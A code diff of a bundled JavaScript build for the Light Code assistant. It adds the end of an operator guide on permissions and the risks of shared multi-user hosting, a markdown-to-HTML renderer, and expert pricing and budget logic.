administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
|
|
34716
|
+
|
|
34717
|
+
// src/guideHtml.ts
|
|
34718
|
+
function escapeHtml(text) {
|
|
34719
|
+
return text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """);
|
|
34720
|
+
}
|
|
34721
|
+
function renderInline(text) {
|
|
34722
|
+
const escaped = escapeHtml(text);
|
|
34723
|
+
const codeSpans = [];
|
|
34724
|
+
const withPlaceholders = escaped.replace(/`([^`]+)`/g, (_match, code) => {
|
|
34725
|
+
codeSpans.push(code);
|
|
34726
|
+
return `\x91${String(codeSpans.length - 1)}\x91`;
|
|
34727
|
+
});
|
|
34728
|
+
const formatted = withPlaceholders.replace(/\*\*([^*]+)\*\*/g, "<strong>$1</strong>").replace(/\*([^*]+)\*/g, "<em>$1</em>").replace(/\[([^\]]+)\]\((https?:\/\/[^)\s]+)\)/g, '<a href="$2" rel="noopener noreferrer">$1</a>');
|
|
34729
|
+
return formatted.replace(/(\d+)/g, (_match, index) => `<code>${codeSpans[Number(index)] ?? ""}</code>`);
|
|
34730
|
+
}
|
|
34731
|
+
function renderTable(rows) {
|
|
34732
|
+
const [header, , ...body] = rows;
|
|
34733
|
+
const head = header === void 0 ? "" : `<thead><tr>${header.cells.map((cell) => `<th>${renderInline(cell)}</th>`).join("")}</tr></thead>`;
|
|
34734
|
+
const rest = body.map((row) => `<tr>${row.cells.map((cell) => `<td>${renderInline(cell)}</td>`).join("")}</tr>`).join("");
|
|
34735
|
+
return `<div class="scroll-x"><table>${head}<tbody>${rest}</tbody></table></div>`;
|
|
34736
|
+
}
|
|
34737
|
+
var cellsOf = (line) => line.replace(/^\||\|$/g, "").split("|").map((cell) => cell.trim());
|
|
34738
|
+
function markdownToHtml(markdown) {
|
|
34739
|
+
const lines = markdown.split(/\r?\n/);
|
|
34740
|
+
const out = [];
|
|
34741
|
+
let index = 0;
|
|
34742
|
+
while (index < lines.length) {
|
|
34743
|
+
const line = lines[index] ?? "";
|
|
34744
|
+
if (line.startsWith("```")) {
|
|
34745
|
+
const body2 = [];
|
|
34746
|
+
index++;
|
|
34747
|
+
while (index < lines.length && !(lines[index] ?? "").startsWith("```")) {
|
|
34748
|
+
body2.push(lines[index] ?? "");
|
|
34749
|
+
index++;
|
|
34750
|
+
}
|
|
34751
|
+
index++;
|
|
34752
|
+
out.push(`<pre><code>${escapeHtml(body2.join("\n"))}</code></pre>`);
|
|
34753
|
+
continue;
|
|
34754
|
+
}
|
|
34755
|
+
const heading = /^(#{1,6}) (.*)$/.exec(line);
|
|
34756
|
+
if (heading !== null) {
|
|
34757
|
+
const level = (heading[1] ?? "#").length;
|
|
34758
|
+
const text = heading[2] ?? "";
|
|
34759
|
+
const id = text.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-|-$/g, "");
|
|
34760
|
+
out.push(`<h${String(level)} id="${id}">${renderInline(text)}</h${String(level)}>`);
|
|
34761
|
+
index++;
|
|
34762
|
+
continue;
|
|
34763
|
+
}
|
|
34764
|
+
if (/^---+\s*$/.test(line)) {
|
|
34765
|
+
out.push("<hr />");
|
|
34766
|
+
index++;
|
|
34767
|
+
continue;
|
|
34768
|
+
}
|
|
34769
|
+
if (line.startsWith("|")) {
|
|
34770
|
+
const rows = [];
|
|
34771
|
+
while (index < lines.length && (lines[index] ?? "").startsWith("|")) {
|
|
34772
|
+
rows.push({ cells: cellsOf(lines[index] ?? "") });
|
|
34773
|
+
index++;
|
|
34774
|
+
}
|
|
34775
|
+
out.push(renderTable(rows));
|
|
34776
|
+
continue;
|
|
34777
|
+
}
|
|
34778
|
+
if (line.startsWith("> ")) {
|
|
34779
|
+
const body2 = [];
|
|
34780
|
+
while (index < lines.length && (lines[index] ?? "").startsWith(">")) {
|
|
34781
|
+
body2.push((lines[index] ?? "").replace(/^>\s?/, ""));
|
|
34782
|
+
index++;
|
|
34783
|
+
}
|
|
34784
|
+
out.push(`<blockquote>${renderInline(body2.join(" "))}</blockquote>`);
|
|
34785
|
+
continue;
|
|
34786
|
+
}
|
|
34787
|
+
const bullet = /^\s*[-*] (.*)$/.exec(line);
|
|
34788
|
+
if (bullet !== null) {
|
|
34789
|
+
const items = [];
|
|
34790
|
+
while (index < lines.length) {
|
|
34791
|
+
const current = lines[index] ?? "";
|
|
34792
|
+
const match = /^\s*[-*] (.*)$/.exec(current);
|
|
34793
|
+
if (match !== null) {
|
|
34794
|
+
items.push(match[1] ?? "");
|
|
34795
|
+
index++;
|
|
34796
|
+
continue;
|
|
34797
|
+
}
|
|
34798
|
+
if (/^\s+\S/.test(current) && items.length > 0) {
|
|
34799
|
+
items[items.length - 1] = `${items[items.length - 1] ?? ""} ${current.trim()}`;
|
|
34800
|
+
index++;
|
|
34801
|
+
continue;
|
|
34802
|
+
}
|
|
34803
|
+
break;
|
|
34804
|
+
}
|
|
34805
|
+
out.push(`<ul>${items.map((item) => `<li>${renderInline(item)}</li>`).join("")}</ul>`);
|
|
34806
|
+
continue;
|
|
34807
|
+
}
|
|
34808
|
+
const ordered = /^\s*\d+\. (.*)$/.exec(line);
|
|
34809
|
+
if (ordered !== null) {
|
|
34810
|
+
const items = [];
|
|
34811
|
+
while (index < lines.length) {
|
|
34812
|
+
const current = lines[index] ?? "";
|
|
34813
|
+
const match = /^\s*\d+\. (.*)$/.exec(current);
|
|
34814
|
+
if (match !== null) {
|
|
34815
|
+
items.push(match[1] ?? "");
|
|
34816
|
+
index++;
|
|
34817
|
+
continue;
|
|
34818
|
+
}
|
|
34819
|
+
if (/^\s+\S/.test(current) && items.length > 0) {
|
|
34820
|
+
items[items.length - 1] = `${items[items.length - 1] ?? ""} ${current.trim()}`;
|
|
34821
|
+
index++;
|
|
34822
|
+
continue;
|
|
34823
|
+
}
|
|
34824
|
+
break;
|
|
34825
|
+
}
|
|
34826
|
+
out.push(`<ol>${items.map((item) => `<li>${renderInline(item)}</li>`).join("")}</ol>`);
|
|
34827
|
+
continue;
|
|
34828
|
+
}
|
|
34829
|
+
if (line.trim().length === 0) {
|
|
34830
|
+
index++;
|
|
34831
|
+
continue;
|
|
34832
|
+
}
|
|
34833
|
+
const body = [];
|
|
34834
|
+
while (index < lines.length) {
|
|
34835
|
+
const current = lines[index] ?? "";
|
|
34836
|
+
if (current.trim().length === 0 || current.startsWith("```") || current.startsWith("|") || current.startsWith(">") || /^#{1,6} /.test(current) || /^---+\s*$/.test(current) || /^\s*[-*] /.test(current) || /^\s*\d+\. /.test(current)) {
|
|
34837
|
+
break;
|
|
34838
|
+
}
|
|
34839
|
+
body.push(current);
|
|
34840
|
+
index++;
|
|
34841
|
+
}
|
|
34842
|
+
out.push(`<p>${renderInline(body.join(" "))}</p>`);
|
|
34843
|
+
}
|
|
34844
|
+
return out.join("\n");
|
|
34845
|
+
}
|
|
34846
|
+
function guidePage(markdown) {
|
|
34847
|
+
return `<!doctype html>
|
|
34848
|
+
<html lang="en">
|
|
34849
|
+
<head>
|
|
34850
|
+
<meta charset="utf-8" />
|
|
34851
|
+
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
|
34852
|
+
<title>Light Code \u2014 operator guide</title>
|
|
34853
|
+
<style>
|
|
34854
|
+
:root {
|
|
34855
|
+
--ground: #fbfbf9; --surface: #f3f5f2; --ink: #16201a; --soft: #4a564e;
|
|
34856
|
+
--faint: #78837b; --rule: #dde1dc; --accent: #2f7d4f; --alert: #a8331d;
|
|
34857
|
+
}
|
|
34858
|
+
@media (prefers-color-scheme: dark) {
|
|
34859
|
+
:root {
|
|
34860
|
+
--ground: #12150f; --surface: #1c211d; --ink: #e6eae4; --soft: #a8b2a8;
|
|
34861
|
+
--faint: #7d867e; --rule: #2b322b; --accent: #57b47f; --alert: #e0836c;
|
|
34862
|
+
}
|
|
34863
|
+
}
|
|
34864
|
+
* { box-sizing: border-box; }
|
|
34865
|
+
body {
|
|
34866
|
+
background: var(--ground); color: var(--ink); margin: 0;
|
|
34867
|
+
padding: 0 24px 80px;
|
|
34868
|
+
font: 16px/1.6 ui-serif, Charter, Georgia, serif;
|
|
34869
|
+
-webkit-font-smoothing: antialiased;
|
|
34870
|
+
}
|
|
34871
|
+
main { max-width: 820px; margin: 0 auto; }
|
|
34872
|
+
h1, h2, h3, h4 {
|
|
34873
|
+
font-family: system-ui, -apple-system, "Segoe UI", sans-serif;
|
|
34874
|
+
line-height: 1.2; text-wrap: balance; margin: 1.8em 0 0.4em;
|
|
34875
|
+
}
|
|
34876
|
+
h1 { font-size: 2.1rem; letter-spacing: -0.02em; margin-top: 1.2em; }
|
|
34877
|
+
h2 { font-size: 1.5rem; letter-spacing: -0.015em; padding-top: 0.6em; border-top: 1px solid var(--rule); }
|
|
34878
|
+
h3 { font-size: 1.1rem; }
|
|
34879
|
+
p, li { max-width: 68ch; }
|
|
34880
|
+
a { color: var(--accent); }
|
|
34881
|
+
code {
|
|
34882
|
+
font: 0.86em ui-monospace, "Cascadia Code", Consolas, monospace;
|
|
34883
|
+
background: var(--surface); border: 1px solid var(--rule); border-radius: 3px; padding: 0.1em 0.32em;
|
|
34884
|
+
}
|
|
34885
|
+
pre {
|
|
34886
|
+
background: var(--surface); border: 1px solid var(--rule); border-left: 3px solid var(--accent);
|
|
34887
|
+
border-radius: 4px; padding: 14px 16px; overflow-x: auto;
|
|
34888
|
+
font: 13px/1.65 ui-monospace, "Cascadia Code", Consolas, monospace;
|
|
34889
|
+
}
|
|
34890
|
+
pre code { background: none; border: 0; padding: 0; font-size: inherit; }
|
|
34891
|
+
blockquote {
|
|
34892
|
+
margin: 1.2em 0; padding: 12px 16px; border-left: 3px solid var(--alert);
|
|
34893
|
+
background: var(--surface); border-radius: 0 4px 4px 0; color: var(--ink);
|
|
34894
|
+
}
|
|
34895
|
+
blockquote p { margin: 0; }
|
|
34896
|
+
.scroll-x { overflow-x: auto; margin: 1.2em 0; }
|
|
34897
|
+
table { border-collapse: collapse; width: 100%; font: 14px/1.5 system-ui, sans-serif; }
|
|
34898
|
+
th, td { text-align: left; vertical-align: top; padding: 9px 14px 9px 0; border-bottom: 1px solid var(--rule); }
|
|
34899
|
+
th { color: var(--faint); font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; font-weight: 500; }
|
|
34900
|
+
hr { border: 0; border-top: 1px solid var(--rule); margin: 2.4em 0; }
|
|
34901
|
+
ul, ol { padding-left: 22px; }
|
|
34902
|
+
li { margin: 0.4em 0; }
|
|
34903
|
+
</style>
|
|
34904
|
+
</head>
|
|
34905
|
+
<body><main>
|
|
34906
|
+
${markdownToHtml(markdown)}
|
|
34907
|
+
</main></body>
|
|
34908
|
+
</html>
|
|
34909
|
+
`;
|
|
34910
|
+
}
|
|
34714
34911
|
|
|
34715
34912
|
// src/guideText.ts
|
|
34716
34913
|
function renderGuide(colour, source = OPERATOR_GUIDE) {
|
|
@@ -49728,7 +49925,45 @@ var expertConfigSchema = external_exports.object({
|
|
|
49728
49925
|
* The backstop for when the CLI reports no cost — a spend limit cannot count what it is
|
|
49729
49926
|
* not told the price of, and an unpriced consultation still costs money.
|
|
49730
49927
|
*/
|
|
49731
|
-
maxConsultations: external_exports.number().int().min(0)
|
|
49928
|
+
maxConsultations: external_exports.number().int().min(0),
|
|
49929
|
+
/**
|
|
49930
|
+
* Whether this plan reports a per-consultation cost.
|
|
49931
|
+
*
|
|
49932
|
+
* Learned rather than configured, and learned from real consultations rather than from a
|
|
49933
|
+
* probe — asking the CLI "do you report cost?" means making a call, and the first call in a
|
|
49934
|
+
* session is the expensive one. So it is recorded the first time a consultation comes back
|
|
49935
|
+
* with or without `total_cost_usd`.
|
|
49936
|
+
*
|
|
49937
|
+
* Absent means not yet known. It matters because a spend cap cannot bind on a plan that
|
|
49938
|
+
* reports no cost: `usd` stays zero, the limit is never reached, and the only control that
|
|
49939
|
+
* actually holds is the consultation count. A cap that silently never fires is worse than no
|
|
49940
|
+
* cap, because it is believed.
|
|
49941
|
+
*/
|
|
49942
|
+
reportsCost: external_exports.boolean(),
|
|
49943
|
+
/**
|
|
49944
|
+
* Refresh the expert's cache while a task is open, rather than paying a cold start later.
|
|
49945
|
+
*
|
|
49946
|
+
* The cache is one hour and that TTL is Anthropic's, not ours. A trivial resumed consultation
|
|
49947
|
+
* before it lapses costs about a fiftieth of the cold start it avoids.
|
|
49948
|
+
*
|
|
49949
|
+
* Off by default, and it must stay that way: it spends with nobody at the screen, which is
|
|
49950
|
+
* the one property this product is careful about everywhere else. Its cost is counted in the
|
|
49951
|
+
* meter like anything else.
|
|
49952
|
+
*/
|
|
49953
|
+
keepAlive: external_exports.boolean(),
|
|
49954
|
+
/**
|
|
49955
|
+
* What a consultation costs on this plan, measured rather than assumed.
|
|
49956
|
+
*
|
|
49957
|
+
* The published figures came from one plan on one day. An enterprise agreement, a
|
|
49958
|
+
* subscription or a gateway can each report something different — and those numbers are what
|
|
49959
|
+
* the budget is set from and what the expert is told when it plans to fit.
|
|
49960
|
+
*/
|
|
49961
|
+
pricing: external_exports.object({
|
|
49962
|
+
coldUsd: external_exports.number().min(0).optional(),
|
|
49963
|
+
resumedUsd: external_exports.number().min(0).optional(),
|
|
49964
|
+
measuredAt: external_exports.number(),
|
|
49965
|
+
reportsCost: external_exports.boolean()
|
|
49966
|
+
})
|
|
49732
49967
|
}).partial();
|
|
49733
49968
|
var vectorStoreKindSchema = external_exports.enum(["opensearch", "qdrant", "chroma"]);
|
|
49734
49969
|
var vectorStoreSchema = external_exports.object({
|
|
@@ -50093,6 +50328,21 @@ function describeSubmission(request) {
|
|
|
50093
50328
|
].join("\n");
|
|
50094
50329
|
}
|
|
50095
50330
|
|
|
50331
|
+
// ../../packages/core/dist/expert/pricing.js
|
|
50332
|
+
var PRICING_PROBE = "Reply with the single word: OK";
|
|
50333
|
+
function pricingForPrompt(pricing) {
|
|
50334
|
+
if (pricing === void 0 || !pricing.reportsCost)
|
|
50335
|
+
return void 0;
|
|
50336
|
+
const cold = pricing.coldUsd;
|
|
50337
|
+
const resumed = pricing.resumedUsd;
|
|
50338
|
+
if (cold === void 0 || resumed === void 0)
|
|
50339
|
+
return void 0;
|
|
50340
|
+
return `Measured on this deployment: the first consultation of a task costs about ${money(cold)}, and each one after it about ${money(resumed)} because it resumes the same session. Plan accordingly \u2014 make the first one carry the task, and do not repeat context afterwards.`;
|
|
50341
|
+
}
|
|
50342
|
+
function money(value) {
|
|
50343
|
+
return value >= 0.01 ? `$${value.toFixed(2)}` : `$${value.toFixed(4)}`;
|
|
50344
|
+
}
|
|
50345
|
+
|
|
50096
50346
|
// ../../packages/core/dist/guide/steps.js
|
|
50097
50347
|
var GUIDE_STEPS = [
|
|
50098
50348
|
{
|
|
@@ -52918,7 +53168,7 @@ function buildExpertBriefing(input) {
|
|
|
52918
53168
|
}
|
|
52919
53169
|
|
|
52920
53170
|
// ../../packages/core/dist/expert/budget.js
|
|
52921
|
-
function
|
|
53171
|
+
function money2(value) {
|
|
52922
53172
|
return `$${value.toFixed(value < 1 ? 4 : 2)}`;
|
|
52923
53173
|
}
|
|
52924
53174
|
function checkExpertBudget(spend, limits) {
|
|
@@ -52933,7 +53183,7 @@ function checkExpertBudget(spend, limits) {
|
|
|
52933
53183
|
if (maxSpend > 0 && spend.usd >= maxSpend) {
|
|
52934
53184
|
return {
|
|
52935
53185
|
allowed: false,
|
|
52936
|
-
message: `The expert spending limit for this task has been reached (${
|
|
53186
|
+
message: `The expert spending limit for this task has been reached (${money2(spend.usd)} of ${money2(maxSpend)}). Continue on your own: use what the expert has already told you, read the code directly, and say plainly if you are stuck rather than guessing. The user can raise the limit in Settings \u2192 Expert, or start a new task to reset it.` + (spend.unpriced > 0 ? ` Note ${String(spend.unpriced)} consultation${spend.unpriced === 1 ? "" : "s"} reported no cost, so the real total is higher than the figure above.` : "")
|
|
52937
53187
|
};
|
|
52938
53188
|
}
|
|
52939
53189
|
return { allowed: true };
|
|
@@ -52950,7 +53200,7 @@ function expertBudgetUsage(spend, limits) {
|
|
|
52950
53200
|
return void 0;
|
|
52951
53201
|
return Math.min(1, Math.max(...fractions));
|
|
52952
53202
|
}
|
|
52953
|
-
function describeExpertBudget(spend, limits) {
|
|
53203
|
+
function describeExpertBudget(spend, limits, pricing) {
|
|
52954
53204
|
const parts = [];
|
|
52955
53205
|
const maxConsultations = limits.maxConsultations ?? 0;
|
|
52956
53206
|
if (maxConsultations > 0) {
|
|
@@ -52959,11 +53209,14 @@ function describeExpertBudget(spend, limits) {
|
|
|
52959
53209
|
}
|
|
52960
53210
|
const maxSpend = limits.maxSpendUsd ?? 0;
|
|
52961
53211
|
if (maxSpend > 0) {
|
|
52962
|
-
parts.push(`${
|
|
53212
|
+
parts.push(`${money2(Math.max(0, maxSpend - spend.usd))} of ${money2(maxSpend)} left`);
|
|
52963
53213
|
}
|
|
52964
53214
|
if (parts.length === 0)
|
|
52965
|
-
return
|
|
52966
|
-
return
|
|
53215
|
+
return pricing;
|
|
53216
|
+
return [
|
|
53217
|
+
`Budget for this task: ${parts.join(", ")}. Plan the number of checkpoints to fit \u2014 when it runs out the junior finishes alone.`,
|
|
53218
|
+
pricing
|
|
53219
|
+
].filter((line) => line !== void 0).join(" ");
|
|
52967
53220
|
}
|
|
52968
53221
|
|
|
52969
53222
|
// ../../packages/core/dist/rag/vectorStore.js
|
|
@@ -55249,14 +55502,14 @@ function formatBytes(size) {
|
|
|
55249
55502
|
return `${(size / (1 << 10)).toFixed(1)}KB`;
|
|
55250
55503
|
return `${String(size)}B`;
|
|
55251
55504
|
}
|
|
55252
|
-
async function readTail(
|
|
55505
|
+
async function readTail(fs24, path29, size, count) {
|
|
55253
55506
|
let span = Math.min(size, CHUNK);
|
|
55254
55507
|
let text;
|
|
55255
55508
|
let start;
|
|
55256
55509
|
for (; ; ) {
|
|
55257
55510
|
start = Math.max(0, size - span);
|
|
55258
55511
|
const decoder = new StringDecoder("utf8");
|
|
55259
|
-
text = decoder.write(await
|
|
55512
|
+
text = decoder.write(await fs24.readBytesSlice(path29, start, size)) + decoder.end();
|
|
55260
55513
|
const enough = text.split("\n").length > count;
|
|
55261
55514
|
if (enough || start === 0 || span >= size)
|
|
55262
55515
|
break;
|
|
@@ -55274,7 +55527,7 @@ async function readTail(fs23, path29, size, count) {
|
|
|
55274
55527
|
hasMoreAfter: false
|
|
55275
55528
|
};
|
|
55276
55529
|
}
|
|
55277
|
-
async function readLineWindow(
|
|
55530
|
+
async function readLineWindow(fs24, path29, size, from, count) {
|
|
55278
55531
|
const decoder = new StringDecoder("utf8");
|
|
55279
55532
|
const lines = [];
|
|
55280
55533
|
let pending = "";
|
|
@@ -55289,7 +55542,7 @@ async function readLineWindow(fs23, path29, size, from, count) {
|
|
|
55289
55542
|
};
|
|
55290
55543
|
scan: while (position < size) {
|
|
55291
55544
|
const end = Math.min(size, position + CHUNK);
|
|
55292
|
-
pending += decoder.write(await
|
|
55545
|
+
pending += decoder.write(await fs24.readBytesSlice(path29, position, end));
|
|
55293
55546
|
position = end;
|
|
55294
55547
|
const parts = pending.split(/\r\n|\r|\n/);
|
|
55295
55548
|
pending = parts.pop() ?? "";
|
|
@@ -55312,13 +55565,13 @@ async function readLineWindow(fs23, path29, size, from, count) {
|
|
|
55312
55565
|
hasMoreAfter: !reachedEnd || lineNumber > from + lines.length
|
|
55313
55566
|
};
|
|
55314
55567
|
}
|
|
55315
|
-
async function countLines(
|
|
55568
|
+
async function countLines(fs24, path29, size) {
|
|
55316
55569
|
let newlines = 0;
|
|
55317
55570
|
let position = 0;
|
|
55318
55571
|
let lastByte = -1;
|
|
55319
55572
|
while (position < size) {
|
|
55320
55573
|
const end = Math.min(size, position + CHUNK);
|
|
55321
|
-
const buffer = await
|
|
55574
|
+
const buffer = await fs24.readBytesSlice(path29, position, end);
|
|
55322
55575
|
for (const byte of buffer)
|
|
55323
55576
|
if (byte === 10)
|
|
55324
55577
|
newlines += 1;
|
|
@@ -63611,11 +63864,12 @@ function wireChatBridge(services) {
|
|
|
63611
63864
|
}
|
|
63612
63865
|
const pendingPathApprovals = /* @__PURE__ */ new Map();
|
|
63613
63866
|
const searchLog = new SearchLog(50, () => post({ type: "searchLog", entries: [...searchLog.list()] }));
|
|
63614
|
-
let expertSpend = { usd: 0, consultations: 0, unpriced: 0 };
|
|
63867
|
+
let expertSpend = { usd: 0, consultations: 0, unpriced: 0, keepAlives: 0 };
|
|
63615
63868
|
let expertSessionId;
|
|
63616
63869
|
function resetExpertSpend() {
|
|
63617
|
-
expertSpend = { usd: 0, consultations: 0, unpriced: 0 };
|
|
63870
|
+
expertSpend = { usd: 0, consultations: 0, unpriced: 0, keepAlives: 0 };
|
|
63618
63871
|
expertSessionId = void 0;
|
|
63872
|
+
stopKeepAlive();
|
|
63619
63873
|
taskExpertLimits = void 0;
|
|
63620
63874
|
taskExpertEstimate = void 0;
|
|
63621
63875
|
postExpertSpend();
|
|
